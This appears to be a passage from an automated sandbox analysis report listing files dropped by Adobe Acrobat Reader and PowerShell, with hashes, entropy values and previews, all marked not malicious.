Size (bytes):	287
Entropy (8bit):	5.2636658935498915
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqLVEkCkyn7+FIbRI6XVW7+0YkDoAvJf21rPeUkwRe9:YvXKXqLVP/YpW7KG+16Ukee9
MD5:	E84C8F912CCAB9F66594EAAE2A86264B
SHA1:	DC230D8324AB84547A27FE00F4EFAABD7853EC9D
SHA-256:	3A03978D1A54A0101CD501767361A4309BDEDDFF6E647633E1923265794C647E
SHA-512:	9891DA922CB6E94036716AECA4F8762F94FB7710E25A122126BF55162FF6943584A08A44FDE6A20D123A8BCC1B9FF97B852F967D860F04EFD6CDC89F2894103C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3fc49089-dbbd-4e71-abe5-3da8e69e554c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739152841,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6589624441746205
Encrypted:	false
SSDEEP:	24:Yv6XqNMi/amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSW:Yv1NzXBgkDMUJUAh8cvMW
MD5:	F870ECA77D486AA65AEFE35F99985017
SHA1:	E25F73994E84509C7DD6C9EA649FF162D79D8241
SHA-256:	6509C934C23B217750F46FF1EB724652624EA7AD4216C6734D62B23FEA395BED
SHA-512:	EFF70AAAFFDDAD0A973903406AD5E3FF2F02FC1A65B9578F6D4AFA42F79A73B236A1AEDFA237AF9188AB28BA5C2265B11797B7A1E68213AD2F2C689E01D0C45F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3fc49089-dbbd-4e71-abe5-3da8e69e554c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739152841,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.237907084933261
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqLVEkCkyn7+FIbRI6XVW7+0YkDoAvJfshHHrPeUkwRe9:YvXKXqLVP/YpW7KGUUUkee9
MD5:	56F88FB5BEFD9CB9A480D4F8E665D39D
SHA1:	D0A52F5F4C5CB330B15E093E6A03D689A741EFFD
SHA-256:	C22BD301233CB7BABDE85146128FDDA4912CD67AC2A64E0A32BAE0F607DFF425
SHA-512:	FF93EC15169396590E9392F7057331F6F06781C76FC8F28BF765B6E50DEA78EFD5BABC95A86477A1AEB495180236BCB2D2C345A47D1DF665A93248E018E9D64D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3fc49089-dbbd-4e71-abe5-3da8e69e554c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739152841,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.257430728952226
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqLVEkCkyn7+FIbRI6XVW7+0YkDoAvJTqgFCrPeUkwRe9:YvXKXqLVP/YpW7KGTq16Ukee9
MD5:	06991E621483AE5CA2A92BE23CEEA888
SHA1:	BF8CA469E20EE0E43D21338538AE8A98BCAC0C67
SHA-256:	DF872A1E60D2AE03C3604D78904417800C91214A477087B3A0F2FADA367BCB24
SHA-512:	228500ED1ECA8183A89B34A6C50EB663527855D2BF3886D2629F90C31C4CA5B69B4765FC43E4CBC0FB0672FF9E641CBE25D36383148A774ACDADC22AC4E636F0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3fc49089-dbbd-4e71-abe5-3da8e69e554c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739152841,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142831682246551
Encrypted:	false
SSDEEP:	24:Yw3nRHfQaFIVHayMDpCjJVaM+YNqZ1+Dtih88FIjOBsj0SMkxSk2732LS+CQvV6h:Yw3RHdIVChMi61w+Hny0HvA+sgh9w
MD5:	3371CD0B09F4936A5303D2A3B5294A9D
SHA1:	3BB08BA556FCDA9F56E2ED87772678E40EB7C9E6
SHA-256:	B437C44CF4299759D4F3D93842FBE25F7A04E4FD15FC09773B20B61BDDF25237
SHA-512:	3BFC77762E1A8FC67C60C7594FC27B53DE6B587CB2D46520151D9C1931CBE3D97C7DC40A9446257A73B7F51E2FB8FB2029CD01C8413CDC0032AA684A4BAE7F64
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"12ad112eb1495fbb3345c222bf54d227","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736562737000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"ff67135862760dcf587027629d37eae0","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736562737000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"9a426f1c35ca06a425cc61b8cb3d52d6","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736562737000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"0a6603b764af7e63233bc720e39fa5e0","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736562737000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"84258053b41d6dd459320e41b6f3fe7c","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736562737000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"b8538b9d95bab44214cc6fc4691b8a6c","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9856466151284632
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spp4zJwtNBwtNbRZ6bRZ4UF:TVl2GL7ms6ggOVpKzutYtp6Px
MD5:	564D0A34556C457B1A366D137883F666
SHA1:	1A88E3692030D88A457838EC764976457C1EFCBC
SHA-256:	38BFF02CE5ACCBA501F4BAEA10DC65F7C3FE834FABC7DEA0CF077425F721934F
SHA-512:	3B8274447C091FC9A7A424EAEAA120A420AC5B91A4D3AFC5AFC559DED81F5652001D9C766AFB983E21A503BF80AF0100B089543A21E64AABFFCDD93996140A80
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3408621468105233
Encrypted:	false
SSDEEP:	24:7+tkpAD1RZKHs/Ds/SppPzJwtNBwtNbRZ6bRZWf1RZKqqLBx/XYKQvGJF7ursz:7MEGgOVpRzutYtp6PMXqll2GL7msz
MD5:	FE4EF22324D02C72D4C4CE55A7059F44
SHA1:	3FB7C1A42D0C681CF43D364A474564F2D5F374C3
SHA-256:	D5FBE04F506AE240711B02BC5C6712F3CE89A717A6D7C5113E9E9B17FDD81392
SHA-512:	AE99F8183576C484581964910077A4CA14AFF6F741BA9F02BFEF1D8E5753793E0E34235684B057053AAC8EF86A727F6B80AE2A11057BC17923145C695F32DE39
Malicious:	false
Preview:	.... .c.....+........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgYneNzzyhZdhXNT1J8IkC+uUYyu:6a6TZ44ADEYnazyhZdhOQUK
MD5:	5FBB506F05BF35F6398D19DB5A4B4C32
SHA1:	2F5613D6DAA84B4B33466D52D8A757B752EC4189
SHA-256:	DD48FB457580B15EB60C55B0D9ED1246FCC1DC78D7AED188D496EF073D2D8558
SHA-512:	B88DA41A57117D6F74DB647F30C3922ED4C36E8299AB9A7D7C82B734C9AE4C5FF896E29BCE40A1C420C7F4CC0AEAD4E4EFF3B3E704E0190690482705F6942FB9
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSI75e53.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5020010357239357
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClscNUlBw:Qw946cPbiOxDlbYnuRK+buGlBw
MD5:	E51D94A69CC2561A28BD4EF38C23078E
SHA1:	E4AAB0C31F9CD9A2A4AE218A7CFBDD58A112D08E
SHA-256:	D14403763CB091ED08FB7A7A7259FEA8A4D5943BCCA17E7C9E10A63A338C43CF
SHA-512:	F7D267173EDEF857691313D11BCB9C2FF8365D004AD7456034FE74CFFCAD8D811B032CC0CBA83C2E4A323E5473C7E2F4D8F248753DB439DA84CAF755FFCBF77A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.3.2.:.1.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fo22whai.ue2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gijqtmf3.ib1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-32-13-819.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.388765545225731
Encrypted:	false
SSDEEP:	384:3xfQwmtxUl4eVz227ELhMK5UgHKtdnnyzs/ZzbJZcaSacdgztkEftYtcR+IzSsk3:uW0
MD5:	1E6DB2DFF4880BE51DD9D7FB920A4275
SHA1:	D583B04A31A280B0C2F878696253EC4041C49DA7
SHA-256:	BC7F40AB2D8C0EDE319D79BE4F87A891B1622AEAE1D8560916C873F9050C6F6D
SHA-512:	2540C54C7BA201E32FC71DF995D635143E111F21F38AF0B826C679333452FEC18A42D2960AF85387640C221FC55593A280A2BF5EB324A0B9F54CB7A5DA46AACB
Malicious:	false
Preview:	SessionID=ab8e69f6-9dcc-4161-afbc-c357946f74c8.1736562733830 Timestamp=2025-01-10T21:32:13:830-0500 ThreadID=7876 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ab8e69f6-9dcc-4161-afbc-c357946f74c8.1736562733830 Timestamp=2025-01-10T21:32:13:831-0500 ThreadID=7876 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ab8e69f6-9dcc-4161-afbc-c357946f74c8.1736562733830 Timestamp=2025-01-10T21:32:13:831-0500 ThreadID=7876 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ab8e69f6-9dcc-4161-afbc-c357946f74c8.1736562733830 Timestamp=2025-01-10T21:32:13:831-0500 ThreadID=7876 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ab8e69f6-9dcc-4161-afbc-c357946f74c8.1736562733830 Timestamp=2025-01-10T21:32:13:832-0500 ThreadID=7876 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.398241785834092
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGby:7i
MD5:	F2D78C3644D4D94CC6322CCC51AA6388
SHA1:	D2B63063CA3E156C4487B9C9005F6305360EB6CE
SHA-256:	2AB17116857268E8C623D161F2AAB1B2CB8E24DCDD817ADA58F95FC29D1009A0
SHA-512:	AC3CA27A9F2CBA177393021468B3E88369BC6F810F860311C4F0E287520B60FDC38AF7E37426F4EE24D7B28D49EDCBF2F14DE7D07B530081B268D97B0929F7BE
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0d3f8318-7d75-451d-a36f-f30803ab0a26.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\22c7684a-1618-452a-9979-5a661592a18f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\313124c0-ab70-499e-999d-37f1150e797b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f7929d39-b403-49dd-bf17-d1f6a665220a.tmp

